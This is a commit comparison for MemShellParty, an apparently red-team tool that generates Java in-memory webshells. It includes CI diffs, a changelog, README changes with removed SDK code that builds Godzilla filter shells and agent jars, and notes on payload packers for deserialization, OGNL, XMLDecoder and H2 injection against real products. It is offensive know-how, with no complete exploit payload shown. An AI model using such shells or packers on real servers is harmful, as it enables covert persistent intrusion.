Compare commits

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58 Commits
Author SHA1 Message Date
ReaJason f544563315 ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason ebd97529ad chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 82f46deb76 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 6896426811 test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason e006814e96 docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 6be89d2448 feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason db40ac86d8 ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 6a475983db fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 5aae3c4dbe feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason 3f5a2ddb6b feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason a5f6411444 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason ede8a649bc docs: update README 2025-08-13 23:53:40 +08:00
ReaJason ff49fe1f0c fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 29150c56c9 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason a1f3bd5b6c test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason d4efc69643 fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 7e3e97d79a refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 7c9d330909 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 1c320d7de6 build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason a330f6fe29 build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason f9dce4f84b refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason d4bde3baad fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 99b40a945f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 31e1e26488 fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 4a3bc0c40a feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 3102f10d7b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 4ea5ef68f9 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 8bff3b24c7 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 6361e4d50b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 5fb85f9ff1 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 73c05bc6c6 feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason 5f153a9052 refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 37d3086ca5 fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason a4bdde14dd fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason c451e42188 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 1a8443b08c chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d37089f063 chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 55fc9f8cc0 fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 28868f5769 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason c5b753abe5 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason e556cfa80a refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason 67f21b0abf chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 466d236ba2 test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason 78cbc3bb6c refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason 9fe2630c36 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason f09ae066bd fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason b2520eebac fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 65e23040ae fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 22123cec7e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 7f7e48233b build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason 58341b4f7c refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason ba04db93be build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason 57a653235b perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 5b2a47e499 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 95617a787b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 83fe7cad8c feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason afa8f9dd06 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason b6fca022f9 refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
716 changed files with 65529 additions and 4579 deletions
+12
View File
@@ -109,6 +109,18 @@ jobs:
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: boot
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party
CONTEXT_PATH=/redqueen-memshell-party
push: true
tags: |
docker.io/reajason/memshell-party:redqueen
deploy-maven:
name: Deploy to Maven Central
runs-on: ubuntu-latest
+58 -3
View File
@@ -7,6 +7,7 @@ on:
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'examples/**'
- 'web/**'
- '**.md'
- '**/*.png'
@@ -40,6 +41,7 @@ jobs:
docker-build-test:
runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
steps:
- name: Checkout code
uses: actions/checkout@v4
@@ -60,7 +62,7 @@ jobs:
exit 1
fi
integration-test:
memshell-integration-test:
strategy:
fail-fast: false
matrix:
@@ -113,7 +115,60 @@ jobs:
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
detection-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+40
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@@ -5,6 +5,46 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
> [!WARNING]
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
> 进行调整。
### Added
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
- Web 添加关于页面
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
### Fixed
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
- 修复 TongWeb8 context 获取错误导致注入失败的问题
### Changed
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- 简化 Tomcat AgentInjector 的代码
- 前端 module 分包减少单个 js 体积,加快首次加载速度
- 移除 memshell-party-bom 模块,改用
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
- 使用 build-logic 替代
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
### Added
+23 -12
View File
@@ -1,19 +1,27 @@
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
### 目录结构
- bom: 依赖版本管理,不用写到处写版本号就是舒服
- boot:使用 SpringBoot 为 UI 提供生成服务
- commonbytebuddy 等工具类存放
- memshell-party-commonbytebuddy/asm 等工具类存放
- generator:内存马生成核心
- deserialize:反序列化相关 gadget
- packer:常见漏洞 payload 生成
- integration-test:集成测试用例
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
- memshell-java8Spring 相关的存在 lambda 表达式所以单独弄出来
- tools/behinder:冰蝎简易连接器
- tools/godzilla:哥斯拉简易连接器
- tools/suo5Suo5 简易连接器
- memshell:内存功能类以及注入器
- memshell-agentAgent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
- web:使用 react 开发的 Web UI
- vul/vul-webapp:简易的 javax.servlet 靶场
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
- vul/springboot*: springboot 相关靶场
@@ -28,12 +36,15 @@
# 运行集成测试用例,谨慎运行,用例太多了
./gradlew :integration-test:test --info
# 仅运行 tomcat 下的集成测试用例
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.tomcat.*'
# 仅运行 jetty 下的集成测试用例
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.jetty.*'
# 构建 war 包
# 构建靶场 war 包
./gradlew :vul:vul-webapp:war
./gradlew :vul:vul-webapp-jakarta:war
./gradlew :vul:vul-webapp-expression:war
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
### Contribute Code
> 参考 GitHub Docs https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
> 参考 GitHub Docshttps://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
1. fork 当前项目
2. git clone 自己 fork 后的项目
+5 -11
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@@ -1,15 +1,12 @@
FROM buildpack-deps:bullseye-scm AS source
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.9 AS frontend
FROM oven/bun:1.2.19 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH=""
@@ -27,11 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
WORKDIR /usr/src
@@ -39,9 +33,9 @@ COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.14_7-jre-noble
FROM eclipse-temurin:17.0.15_6-jre-noble
LABEL authors="ReaJason<[email protected]>"
+30 -310
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@@ -25,18 +25,9 @@
> [!TIP]
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
> 交流群,欢迎一起学习交流
> 交流群,欢迎一起学习交流
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
MemShellParty 是一款专注于主流 Web 中间件内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率
![normal_generator](asserts/normal_generator.png)
@@ -44,18 +35,33 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化:尽可能精简内存马大小,高效传输
- 强兼容性:覆盖攻防场景下常见中间件和框架。
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
## 快速使用
### 使用前必看
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
GlassFish,因为它使用的是 GlassFish 进行的二开)。
### 在线站点
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
可访问master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
### 本地部署(推荐)
@@ -84,303 +90,17 @@ docker rm -f memshell-party
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
```
### SDK 集成到现有工具中
## User Guide
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
1. [适配情况](./docs/Compatibility.md)
2. [本地构建](./docs/BuildOnLocal.md)
3. [SDK 集成](./examples/memshell-party-maven-example)
4. [代码贡献](./CONTRIBUTING.md)
1. 添加依赖,Maven Or Gradle
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. 生成 Tomcat Godzilla Filter 内存马示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:"+result.getInjectorClassName());
System.out.println("内存马类名:"+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
```
3. 生成 Tomcat Godzilla AgentFilterChain 示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
```bash
cd MemShellParty/boot
java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
```
也可这基础上再继续构建容器来使用
```bash
cd MemShellParty/boot
docker buildx build -t memshell-party:latest . --load
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```
### Dockerfile 一键构建
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
memshell-party:latest
```
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
其中 `location /memshell-party``ROUTE_ROOT_PATH=/memshell-party``CONTEXT_PATH=/memshell-party`
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
```text
location /memshell-party {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $http_host;
proxy_set_header X-Forwarded-By $server_addr:$server_port;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_http_version 1.1;
proxy_connect_timeout 3s;
proxy_read_timeout 300s;
proxy_send_timeout 300s;
proxy_buffer_size 16k;
proxy_buffers 8 64k;
proxy_busy_buffers_size 128k;
}
```
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
## Thanks
## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
### Let's start the party 🎉
+35
View File
@@ -0,0 +1,35 @@
import http.server
import socketserver
PORT = 8000
TARGET_PATH = "/api/v1/data"
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
if self.path == TARGET_PATH:
try:
content_length = int(self.headers['Content-Length'])
post_data_bytes = self.rfile.read(content_length)
post_data_str = post_data_bytes.decode('utf-8')
print("-----------------------------\n")
print(f"Client IP: {self.client_address}")
print(f"Request Header:\n{self.headers}")
print(f"Request Body:\n{post_data_str}")
print("-----------------------------\n")
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
response_message = '{"status": "success"}'
self.wfile.write(response_message.encode('utf-8'))
except Exception as e:
print(f"Parse POST failed: {e}")
self.send_response(500)
else:
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
self.send_response(404)
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
httpd.serve_forever()
+16
View File
@@ -0,0 +1,16 @@
import http from 'k6/http';
import {check, sleep} from 'k6';
export const options = {
rps: 4500,
vus: 10,
duration: '5m',
};
export default function () {
const res = http.get('http://localhost:8082/app/test');
check(res, {
'status is 200': (r) => r.status === 200,
});
sleep(1);
}
+3 -3
View File
@@ -1,6 +1,6 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.0"
id("org.springframework.boot") version "3.5.3"
id("io.spring.dependency-management") version "1.1.7"
}
@@ -26,14 +26,14 @@ dependencies {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging")
}
implementation(project(":deserialize")) {
implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation("org.apache.commons:commons-lang3:3.17.0")
implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-jetty")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
@@ -1,12 +1,9 @@
